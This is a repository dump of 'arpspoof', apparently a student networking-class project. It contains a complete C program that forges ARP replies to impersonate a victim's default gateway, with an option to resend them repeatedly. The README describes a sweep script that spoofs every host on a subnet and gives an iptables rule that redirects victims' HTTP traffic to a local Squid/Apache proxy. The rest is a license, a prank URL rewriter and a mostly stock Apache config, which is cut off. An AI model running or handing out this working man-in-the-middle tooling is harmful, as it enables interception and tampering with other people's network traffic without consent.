Full Code of smikims/arpspoof for AI

Repository: smikims/arpspoof
Branch: master
Commit: ef5f0b11f978
Files: 10
Total size: 70.9 KB

Directory structure:
gitextract_05gar387/

├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── arpspoof.c
├── cage.sh
├── http/
│   └── index.html
├── httpd.conf
├── squid.conf
└── sweep.sh

================================================
FILE CONTENTS
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FILE: .gitignore
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arpspoof


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FILE: LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
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  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    {project}  Copyright (C) {year}  {fullname}
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.


================================================
FILE: Makefile
================================================
SRC=arpspoof.c
OUT=arpspoof
CFLAGS=-Wall -Wextra -Wpedantic -std=gnu99 `libnet-config --defines`

all:	$(OUT)

$(OUT):	$(SRC)
	$(CC) $(CFLAGS) -o $@ $?

clean:
	$(RM) $(OUT)


================================================
FILE: README.md
================================================
arpspoof
========

A program to perform an ARP spoofing attack against someone else on your local unencrypted network.

The arpspoof.c file sends 2 ARP requests, one to the default gateway and one to the victim, to get their MAC addresses. I then use these addresses to construct a phony ARP response to the victim that tells them that I am their default gateway (or any other IP address if you don't want it to be the default gateway). Some operating systems (e.g. Linux) are very suspicious of spurious ARP responses like this and will quickly figure out the ruse, but Windows will happily chug along in blissful ignorance until you annoy it by taking too long to respond to requests. To prevent even this weak defense mechanism from deploying, the program has an option to keep resending the phony packet every X number of seconds. Note: if it takes more than about 1 second for something to happen your response probably got lost, so try again.

## Syntax

./arpspoof [OPTION [ARG]]... VICTIM_IP

## Options

-i, --interface		Network interface to use, given as the argument. If this
                    option is not used, the interface defaults to the first
					running non-loopback interface.

-r, --repeat		Resends the packet continuously with a delay given in
                    seconds by the argument. A delay of zero means only one
					packet is sent.

-a, --attacker-ip 	Choose another machine (other than the one running this
                    program) as the one to be disguised.

-g, --gateway-ip	Spoof to an IP (given as an argument) other than the default
                    gateway.

-v, --verbose		Prints out extra info about the machines involved.

# sweep.sh

The sweep.sh file gets the current IP address and routing prefix in CIDR
notation and from this calculates the netmask, then uses this information to
ping sweep everyone on the current subnet and attempt to send phony ARP packets
to them using the arp.c program. Obviously you shouldn't do this unless you know
exactly who will be affected by it and you're prepared to handle the
consequences. There is also a flag to do only the ping sweep and not attempt the
spoofing, which prints out the IP addresses of everyone who responded in some
fashion to the ping from the tcping program (not mine) on port 6000. For some
reason I was unable to determine, Windows responds to random TCP connections on
port 6000 but firewalls almost everything else, including ICMP. Go figure.

## Syntax

./sweep.sh INTERFACE_NAME [ -p (ping only) ]

# cage.sh

cage.sh is a simple URL rewriter script for Squid--it just takes any URL and
turns it into a picture of Nicolas Cage.

# Miscellaneous

There are also some other relevant things, for example the sample website is
available under the http directory, and the Apache and Squid configuration files
are here as well. And one more thing that doesn't really fit neatly anywhere
else: the iptables rule to redirect the traffic. By default Linux just forwards
any IP packets destined for elsewhere, so the ARP spoof by itself won't really
affect anything other than making the victim's packets pass through your
machine. However, since it's *your* machine, you can have your way with them, so
we set up iptables to redirect anything coming through port 80 to port 3129 on
our machine, which Apache is listening on as well as Squid (just make sure
you've set them up not to conflict if you're running both). Note that HTTPS
(port 443) is significantly harder to mess with, so I don't try.

iptables rule (run as root):

iptables -t nat -A PREROUTING -p tcp --dport 80 -i $INTERFACE_NAME -j DNAT \
--to $DEST_IP:$DEST_PORT

Things you change yourself are prefixed with $'s this time to distinguish from
literal ALLCAPS arguments.

# Notes

This project was originally written for my networking class last semester, but
since a few other people seem to be interested in it I've been cleaning it up a
bit recently and adding a few more features. My main focus is in the main
arpspoof program; the functionality of sweep.sh will probably be incorporated
into it and the rest of the stuff in this repo, which is basically just a really
simple proof of concept, may eventually be removed.



================================================
FILE: arpspoof.c
================================================
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <errno.h>
#include <ifaddrs.h>
#include <getopt.h>

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netpacket/packet.h>
#include <netinet/if_ether.h>

void die(const char *error)
{
	fprintf(stderr, "Error: %s\n", error);
	exit(EXIT_FAILURE);
}

void print_addrs(const char *msg, uint32_t ip, unsigned char *mac)
{
	printf("%9s:\t%s\t%02x:%02x:%02x:%02x:%02x:%02x\n",
		msg,
		inet_ntoa((struct in_addr) { .s_addr = ip }),
		(unsigned char) mac[0],
		(unsigned char) mac[1],
		(unsigned char) mac[2],
		(unsigned char) mac[3],
		(unsigned char) mac[4],
		(unsigned char) mac[5]);
}

void set_ifr_name(struct ifreq *ifr, const char *if_name)
{
	size_t if_name_len = strlen(if_name);
	if (if_name_len < sizeof(ifr->ifr_name)) {
		memcpy(ifr->ifr_name, if_name, if_name_len);
		ifr->ifr_name[if_name_len] = 0;
	} else {
		die("Interface name is too long");
	}
}

int get_ifr_ifindex(int fd, struct ifreq *ifr)
{
	if (ioctl(fd, SIOCGIFINDEX, ifr) == -1) {
		die(strerror(errno));
	}

	return ifr->ifr_ifindex;
}

void get_ifr_hwaddr(int fd, struct ifreq *ifr)
{
	if (ioctl(fd, SIOCGIFHWADDR, ifr) == -1) {
		die(strerror(errno));
	}
	if (ifr->ifr_hwaddr.sa_family != ARPHRD_ETHER) {
		die("Not an ethernet interface");
	}
}

void get_ifr_addr(int fd, struct ifreq *ifr)
{
	if (ioctl(fd, SIOCGIFADDR, ifr) == -1) {
		die(strerror(errno));
	}
}

bool check_interface(const char *if_name)
{
	struct ifaddrs *ifaddr, *ifa;
	if (getifaddrs(&ifaddr) == -1) {
		die(strerror(errno));
	}

	ifa = ifaddr;
	while (ifa && strcmp(if_name, ifa->ifa_name)) {
		ifa = ifa->ifa_next;
	}

	unsigned int flags = ifa ? ifa->ifa_flags : 0;
	bool ret = ifa && (flags & IFF_UP) && (flags & IFF_RUNNING) && !(flags & IFF_LOOPBACK);
	freeifaddrs(ifaddr);
	return ret;
}

char *get_interface(void)
{
	struct ifaddrs *ifaddr, *ifa;
	char *ret = NULL;
	if (getifaddrs(&ifaddr) == -1) {
		die(strerror(errno));
	}

	/* get first listed operational interface */
	for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
		unsigned int flags = ifa->ifa_flags;
		if ((flags & IFF_UP) && (flags & IFF_RUNNING) && !(flags & IFF_LOOPBACK)) {
			ret = strdup(ifa->ifa_name);
			break;
		}
	}

	freeifaddrs(ifaddr);
	return ret;
}

uint32_t get_gateway(const char *if_name)
{
	uint32_t ret;
	char buf[1024];
	const char seps[] = " \t";
	FILE *f = fopen("/proc/net/route", "r");

	/* believe it or not, this is the best way to do it */
	do {
		fgets(buf, 1024, f);
	} while (strncmp(if_name, buf, strlen(if_name)));

	char *p = strtok(buf, seps);
	p = strtok(NULL, seps);
	p = strtok(NULL, seps);
	p[8] = '\0';

	ret = strtol(p, NULL, 16);

	fclose(f);
	return ret;
}

void request_mac(int fd, const char *if_name, struct ether_arp *req, uint32_t ip_addr)
{
	/* will be sent to everyone */
	const unsigned char ether_broadcast_addr[] =
	{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };

	struct ifreq ifr;
	set_ifr_name(&ifr, if_name);

	/* special socket address type used for AF_PACKET */
	struct sockaddr_ll addr = {0};
	addr.sll_family   = AF_PACKET;
	addr.sll_ifindex  = get_ifr_ifindex(fd, &ifr);
	addr.sll_halen    = ETHER_ADDR_LEN;
	addr.sll_protocol = htons(ETH_P_ARP);
	memcpy(addr.sll_addr, ether_broadcast_addr, ETHER_ADDR_LEN);

	/* construct the ARP request */
	req->arp_hrd = htons(ARPHRD_ETHER);
	req->arp_pro = htons(ETH_P_IP);
	req->arp_hln = ETHER_ADDR_LEN;
	req->arp_pln = sizeof(in_addr_t);
	req->arp_op  = htons(ARPOP_REQUEST);

	/* zero because that's what we're asking for */
	memset(&req->arp_tha, 0, sizeof(req->arp_tha));
	memcpy(&req->arp_tpa, &ip_addr, sizeof(req->arp_tpa));
	get_ifr_hwaddr(fd, &ifr);
	memcpy(&req->arp_sha, (unsigned char *) ifr.ifr_hwaddr.sa_data, sizeof(req->arp_sha));
	get_ifr_addr(fd, &ifr);
	memcpy(&req->arp_spa, (unsigned char *) ifr.ifr_addr.sa_data + 2, sizeof(req->arp_spa));

	/* actually send it */
	if (sendto(fd, req, sizeof(struct ether_arp), 0, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
		die(strerror(errno));
	}

	while (1) {
		/* can't use recvfrom() -- no network layer */
		int len = recv(fd, req, sizeof(struct ether_arp), 0);
		if (len == -1) {
			die(strerror(errno));
		}
		if (len == 0) {   /* no response */
			continue;
		}
		
		unsigned int from_addr =
			(req->arp_spa[3] << 24)
		      | (req->arp_spa[2] << 16)
		      | (req->arp_spa[1] << 8)
		      | (req->arp_spa[0] << 0);
		if (from_addr != ip_addr) {
			continue;
		}

		/* everything's good, we have our response */
		break;
	}
}

void arp_spoof(int fd, const char *if_name,
		const unsigned char *attacker_mac, uint32_t gateway_ip,
		const unsigned char *victim_mac, uint32_t victim_ip)
{
	struct ether_arp resp;
	struct ifreq ifr;
	set_ifr_name(&ifr, if_name);

	struct sockaddr_ll addr = {0};
	addr.sll_family         = AF_PACKET;
	addr.sll_ifindex        = get_ifr_ifindex(fd, &ifr);
	addr.sll_halen          = ETHER_ADDR_LEN;
	addr.sll_protocol       = htons(ETH_P_ARP);
	memcpy(addr.sll_addr, victim_mac, ETHER_ADDR_LEN);

	resp.arp_hrd = htons(ARPHRD_ETHER);
	resp.arp_pro = htons(ETH_P_IP);
	resp.arp_hln = ETHER_ADDR_LEN;
	resp.arp_pln = sizeof(in_addr_t);
	resp.arp_op  = htons(ARPOP_REPLY);

	memcpy(&resp.arp_sha, attacker_mac, sizeof(resp.arp_sha));
	memcpy(&resp.arp_spa, &gateway_ip,  sizeof(resp.arp_spa));
	memcpy(&resp.arp_tha, victim_mac,   sizeof(resp.arp_tha));
	memcpy(&resp.arp_tpa, &victim_ip,   sizeof(resp.arp_tpa));

	if (sendto(fd, &resp, sizeof(resp), 0, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
		die(strerror(errno));
	}
}

void print_help(char argv0[]) {
	printf("Usage: %s [OPTION [ARG]]... VICTIM_IP\n", argv0);
	puts("  -i, --interface Network interface to use, given as the argument. If this option is not used, the interface defaults to the first running non-loopback interface.");
	puts("  -r, --repeat Resends the packet continuously with a delay given in seconds by the argument. A delay of zero means only one packet is sent.");
	puts("  -a, --attacker-ip Choose another machine (other than the one running this program) as the one to be disguised.");
	puts("  -g, --gateway-ip Spoof to an IP (given as an argument) other than the default gateway.");
	puts("  -v, --verbose Prints out extra info about the machines involved.");
}

int main(int argc, char *argv[])
{
	struct ether_arp req;
	unsigned char attacker_mac[6];
	unsigned char victim_mac[6];
	struct in_addr ip_addr = {0};
	char *if_name          = NULL;
	char *victim_ip_str    = NULL;
	uint32_t attacker_ip   = 0;
	uint32_t gateway_ip    = 0;
	int repeat             = 0;
	int verbose            = 0;

	/* parsing code here */
	int c;
	while (1) {
		static const struct option long_options[] = {
			{ "attacker-ip", required_argument, NULL, 'a' },
			{ "interface",   required_argument, NULL, 'i' },
			{ "repeat",      required_argument, NULL, 'r' },
			{ "gateway-ip",  required_argument, NULL, 'g' },
			{ "verbose",     no_argument,       NULL, 'v' },
			{ 0,             0,                 0,     0  }
		};

		int option_index = 0;

		c = getopt_long(argc, argv, "a:i:r:g:v", long_options, &option_index);

		if (c == -1) {
			break;
		}

		switch (c) {
		case 'a':
			if (!inet_aton(optarg, &ip_addr)) {
				die("Attacker IP is invalid");
			}
			attacker_ip = ip_addr.s_addr;
			break;
		case 'i':
			if_name = strdup(optarg);
			if (!check_interface(if_name)) {
				die("Invalid interface (nonexistent or not connected?)");
			}
			break;
		case 'r':
			repeat = strtoul(optarg, NULL, 10);
			break;
		case 'g':
			if (!inet_aton(optarg, &ip_addr)) {
				die("Gateway IP is invalid");
			}
			gateway_ip = ip_addr.s_addr;
			break;
		case 'v':
			verbose = 1;
			break;
		case '?':
			print_help(argv[0]);
			break;
		default:
			die("Invalid option");
			break;
		}
	}

	if (argc > optind + 1) {
		die("Too many arguments");
	} else if (argc == optind) {
		die("Please provide a victim IP");
	} else {
		victim_ip_str = argv[optind];
	}

	if (!inet_aton(victim_ip_str, &ip_addr)) {
		die("Invalid IP address");
	}
	uint32_t victim_ip = ip_addr.s_addr;

	if (!if_name) {
		if_name = get_interface();
	}
	/* get_interface() didn't find anything */
	if (!if_name) {
		die("No valid interface found (are you not connected?)");
	}
	if (!gateway_ip) {
		gateway_ip = get_gateway(if_name);
	}

	/* get an ARP socket */
	int fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (fd == -1) {
		die(strerror(errno));
	}

	if (attacker_ip) {
		request_mac(fd, if_name, &req, attacker_ip);
		memcpy(attacker_mac, req.arp_sha, sizeof(attacker_mac));

	} else {
		struct ifreq ifr;
		set_ifr_name(&ifr, if_name);
		get_ifr_hwaddr(fd, &ifr);
		memcpy(attacker_mac, ifr.ifr_hwaddr.sa_data, sizeof(attacker_mac));
		get_ifr_addr(fd, &ifr);
		memcpy(&attacker_ip, (unsigned char *) ifr.ifr_addr.sa_data + 2, sizeof(attacker_ip));
	}

	request_mac(fd, if_name, &req, victim_ip);
	memcpy(victim_mac, req.arp_sha, sizeof(victim_mac));

	if (verbose) {
		puts("\t\tIP address\tMAC address");
		print_addrs("Attacker", attacker_ip, attacker_mac);
		request_mac(fd, if_name, &req, gateway_ip);
		print_addrs("Gateway", gateway_ip, req.arp_sha);
		print_addrs("Victim", victim_ip, victim_mac);
		printf("\nInterface:\t%s\n", if_name);
	}

	if (repeat) {
		printf("Repeating every %d seconds (Ctrl+C to quit)\n", repeat);
	}
	do {
		arp_spoof(fd, if_name, attacker_mac, gateway_ip, victim_mac, victim_ip);
		sleep(repeat);
	} while (repeat);

	free(if_name);
	return EXIT_SUCCESS;
}


================================================
FILE: cage.sh
================================================
#!/bin/sh
while read line; do
	echo 'http://i.huffpost.com/gen/1548397/images/o-NIC-CAGE-facebook.jpg'
done


================================================
FILE: http/index.html
================================================
<h1>all your packet are belong to us</h1>
<img src="images/cage.jpg"/>


================================================
FILE: httpd.conf
================================================
#
# This is the main Apache HTTP server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs/2.4/> for detailed information.
# In particular, see 
# <URL:http://httpd.apache.org/docs/2.4/mod/directives.html>
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.  
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "logs/access_log"
# with ServerRoot set to "/usr/local/apache2" will be interpreted by the
# server as "/usr/local/apache2/logs/access_log", whereas "/logs/access_log" 
# will be interpreted as '/logs/access_log'.

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path.  If you point
# ServerRoot at a non-local disk, be sure to specify a local disk on the
# Mutex directive, if file-based mutexes are used.  If you wish to share the
# same ServerRoot for multiple httpd daemons, you will need to change at
# least PidFile.
#
ServerRoot "/etc/httpd"

#
# Mutex: Allows you to set the mutex mechanism and mutex file directory
# for individual mutexes, or change the global defaults
#
# Uncomment and change the directory if mutexes are file-based and the default
# mutex file directory is not on a local disk or is not appropriate for some
# other reason.
#
# Mutex default:/run/httpd

#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to 
# prevent Apache from glomming onto all bound IP addresses.
#
#Listen 12.34.56.78:80
Listen 80
Listen 3129

#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Statically compiled modules (those listed by `httpd -l') do not need
# to be loaded here.
#
# Example:
# LoadModule foo_module modules/mod_foo.so
#
LoadModule authn_file_module modules/mod_authn_file.so
#LoadModule authn_dbm_module modules/mod_authn_dbm.so
#LoadModule authn_anon_module modules/mod_authn_anon.so
#LoadModule authn_dbd_module modules/mod_authn_dbd.so
#LoadModule authn_socache_module modules/mod_authn_socache.so
LoadModule authn_core_module modules/mod_authn_core.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_user_module modules/mod_authz_user.so
#LoadModule authz_dbm_module modules/mod_authz_dbm.so
#LoadModule authz_owner_module modules/mod_authz_owner.so
#LoadModule authz_dbd_module modules/mod_authz_dbd.so
LoadModule authz_core_module modules/mod_authz_core.so
#LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
#LoadModule authnz_fcgi_module modules/mod_authnz_fcgi.so
LoadModule access_compat_module modules/mod_access_compat.so
LoadModule auth_basic_module modules/mod_auth_basic.so
#LoadModule auth_form_module modules/mod_auth_form.so
#LoadModule auth_digest_module modules/mod_auth_digest.so
#LoadModule allowmethods_module modules/mod_allowmethods.so
#LoadModule file_cache_module modules/mod_file_cache.so
#LoadModule cache_module modules/mod_cache.so
#LoadModule cache_disk_module modules/mod_cache_disk.so
#LoadModule cache_socache_module modules/mod_cache_socache.so
#LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
#LoadModule socache_dbm_module modules/mod_socache_dbm.so
#LoadModule socache_memcache_module modules/mod_socache_memcache.so
#LoadModule watchdog_module modules/mod_watchdog.so
#LoadModule macro_module modules/mod_macro.so
#LoadModule dbd_module modules/mod_dbd.so
#LoadModule dumpio_module modules/mod_dumpio.so
#LoadModule echo_module modules/mod_echo.so
#LoadModule buffer_module modules/mod_buffer.so
#LoadModule data_module modules/mod_data.so
#LoadModule ratelimit_module modules/mod_ratelimit.so
LoadModule reqtimeout_module modules/mod_reqtimeout.so
#LoadModule ext_filter_module modules/mod_ext_filter.so
#LoadModule request_module modules/mod_request.so
LoadModule include_module modules/mod_include.so
LoadModule filter_module modules/mod_filter.so
#LoadModule reflector_module modules/mod_reflector.so
#LoadModule substitute_module modules/mod_substitute.so
#LoadModule sed_module modules/mod_sed.so
#LoadModule charset_lite_module modules/mod_charset_lite.so
#LoadModule deflate_module modules/mod_deflate.so
#LoadModule xml2enc_module modules/mod_xml2enc.so
#LoadModule proxy_html_module modules/mod_proxy_html.so
LoadModule mime_module modules/mod_mime.so
#LoadModule ldap_module modules/mod_ldap.so
LoadModule log_config_module modules/mod_log_config.so
#LoadModule log_debug_module modules/mod_log_debug.so
#LoadModule log_forensic_module modules/mod_log_forensic.so
#LoadModule logio_module modules/mod_logio.so
#LoadModule lua_module modules/mod_lua.so
LoadModule env_module modules/mod_env.so
#LoadModule mime_magic_module modules/mod_mime_magic.so
#LoadModule cern_meta_module modules/mod_cern_meta.so
#LoadModule expires_module modules/mod_expires.so
LoadModule headers_module modules/mod_headers.so
#LoadModule ident_module modules/mod_ident.so
#LoadModule usertrack_module modules/mod_usertrack.so
#LoadModule unique_id_module modules/mod_unique_id.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule version_module modules/mod_version.so
#LoadModule remoteip_module modules/mod_remoteip.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so
LoadModule proxy_scgi_module modules/mod_proxy_scgi.so
#LoadModule proxy_fdpass_module modules/mod_proxy_fdpass.so
LoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule proxy_express_module modules/mod_proxy_express.so
#LoadModule session_module modules/mod_session.so
#LoadModule session_cookie_module modules/mod_session_cookie.so
#LoadModule session_crypto_module modules/mod_session_crypto.so
#LoadModule session_dbd_module modules/mod_session_dbd.so
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
#LoadModule slotmem_plain_module modules/mod_slotmem_plain.so
#LoadModule ssl_module modules/mod_ssl.so
#LoadModule dialup_module modules/mod_dialup.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so
LoadModule lbmethod_bytraffic_module modules/mod_lbmethod_bytraffic.so
LoadModule lbmethod_bybusyness_module modules/mod_lbmethod_bybusyness.so
LoadModule lbmethod_heartbeat_module modules/mod_lbmethod_heartbeat.so
LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule unixd_module modules/mod_unixd.so
#LoadModule heartbeat_module modules/mod_heartbeat.so
#LoadModule heartmonitor_module modules/mod_heartmonitor.so
#LoadModule dav_module modules/mod_dav.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
#LoadModule asis_module modules/mod_asis.so
#LoadModule info_module modules/mod_info.so
#LoadModule suexec_module modules/mod_suexec.so
#LoadModule cgid_module modules/mod_cgid.so
#LoadModule cgi_module modules/mod_cgi.so
#LoadModule dav_fs_module modules/mod_dav_fs.so
#LoadModule dav_lock_module modules/mod_dav_lock.so
#LoadModule vhost_alias_module modules/mod_vhost_alias.so
LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
#LoadModule imagemap_module modules/mod_imagemap.so
#LoadModule actions_module modules/mod_actions.so
#LoadModule speling_module modules/mod_speling.so
LoadModule userdir_module modules/mod_userdir.so
LoadModule alias_module modules/mod_alias.so
LoadModule rewrite_module modules/mod_rewrite.so

<IfModule unixd_module>
#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.  
#
# User/Group: The name (or #number) of the user/group to run httpd as.
# It is usually good practice to create a dedicated user and group for
# running httpd, as with most system services.
#
User http
Group http

</IfModule>

# 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# <VirtualHost> definition.  These values also provide defaults for
# any <VirtualHost> containers you may define later in the file.
#
# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#

#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed.  This address appears on some server-generated pages, such
# as error documents.  e.g. admin@your-domain.com
#
ServerAdmin you@example.com

#
# ServerName gives the name and port that the server uses to identify itself.
# This can often be determined automatically, but we recommend you specify
# it explicitly to prevent problems during startup.
#
# If your host doesn't have a registered DNS name, enter its IP address here.
#
#ServerName www.example.com:80

#
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other 
# <Directory> blocks below.
#
<Directory />
    AllowOverride none
    Require all denied
</Directory>

#
# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.
#

#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "/srv/http"
<Directory "/srv/http">
    #
    # Possible values for the Options directive are "None", "All",
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # http://httpd.apache.org/docs/2.4/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks

    #
    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be "All", "None", or any combination of the keywords:
    #   AllowOverride FileInfo AuthConfig Limit
    #
    AllowOverride None

    #
    # Controls who can get stuff from this server.
    #
    Require all granted
</Directory>

#
# DirectoryIndex: sets the file that Apache will serve if a directory
# is requested.
#
<IfModule dir_module>
    DirectoryIndex index.html
</IfModule>

#
# The following lines prevent .htaccess and .htpasswd files from being 
# viewed by Web clients. 
#
<Files ".ht*">
    Require all denied
</Files>

#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog "/var/log/httpd/error_log"

#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn

<IfModule log_config_module>
    #
    # The following directives define some format nicknames for use with
    # a CustomLog directive (see below).
    #
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    LogFormat "%h %l %u %t \"%r\" %>s %b" common

    <IfModule logio_module>
      # You need to enable mod_logio.c to use %I and %O
      LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
    </IfModule>

    #
    # The location and format of the access logfile (Common Logfile Format).
    # If you do not define any access logfiles within a <VirtualHost>
    # container, they will be logged here.  Contrariwise, if you *do*
    # define per-<VirtualHost> access logfiles, transactions will be
    # logged therein and *not* in this file.
    #
    CustomLog "/var/log/httpd/access_log" common

    #
    # If you prefer a logfile with access, agent, and referer information
    # (Combined Logfile Format) you can use the following directive.
    #
    #CustomLog "/var/log/httpd/access_log" combined
</IfModule>

<IfModule alias_module>
    #
    # Redirect: Allows you to tell clients about documents that used to 
    # exist in your server's namespace, but do not anymore. The client 
    # will make a new request for the document at its new location.
    # Example:
    # Redirect permanent /foo http://www.example.com/bar

    #
    # Alias: Maps web paths into filesystem paths and is used to
    # access content that does not live under the DocumentRoot.
    # Example:
    # Alias /webpath /full/filesystem/path
    #
    # If you include a trailing / on /webpath then the server will
    # require it to be present in the URL.  You will also likely
    # need to provide a <Directory> section to allow access to
    # the filesystem path.

    #
    # ScriptAlias: This controls which directories contain server scripts. 
    # ScriptAliases are essentially the same as Aliases, except that
    # documents in the target directory are treated as applications and
    # run by the server when requested rather than as documents sent to the
    # client.  The same rules about trailing "/" apply to ScriptAlias
    # directives as to Alias.
    #
    ScriptAlias /cgi-bin/ "/srv/http/cgi-bin/"

</IfModule>

<IfModule cgid_module>
    #
    # ScriptSock: On threaded servers, designate the path to the UNIX
    # socket used to communicate with the CGI daemon of mod_cgid.
    #
    #Scriptsock cgisock
</IfModule>

#
# "/srv/http/cgi-bin" should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#
<Directory "/srv/http/cgi-bin">
    AllowOverride None
    Options None
    Require all granted
</Directory>

<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig conf/mime.types

    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    #AddHandler cgi-script .cgi

    # For type maps (negotiated resources):
    #AddHandler type-map var

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
</IfModule>

#
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type.  The MIMEMagicFile
# directive tells the module where the hint definitions are located.
#
#MIMEMagicFile conf/magic

#
# Customizable error responses come in three flavors:
# 1) plain text 2) local redirects 3) external redirects
#
# Some examples:
#ErrorDocument 500 "The server made a boo boo."
#ErrorDocument 404 /missing.html
#ErrorDocument 404 "/cgi-bin/missing_handler.pl"
#ErrorDocument 402 http://www.example.com/subscription_info.html
#

#
# MaxRanges: Maximum number of Ranges in a request before
# returning the entire resource, or one of the special
# values 'default', 'none' or 'unlimited'.
# Default setting is to accept 200 Ranges.
#MaxRanges unlimited

#
# EnableMMAP and EnableSendfile: On systems that support it, 
# memory-mapping or the sendfile syscall may be used to deliver
# files.  This usually improves server performance, but must
# be turned off when serving from networked-mounted 
# filesystems or if support for these functions is otherwise
# broken on your system.
# Defaults: EnableMMAP On, EnableSendfile Off
#
#EnableMMAP off
#EnableSendfile on

# Supplemental configuration
#
# The configuration files in the conf/extra/ directory can be 
# included to add extra features or to modify the default configuration of 
# the server, or you may simply copy their contents here and change as 
# necessary.

# Server-pool management (MPM specific)
Include conf/extra/httpd-mpm.conf

# Multi-language error messages
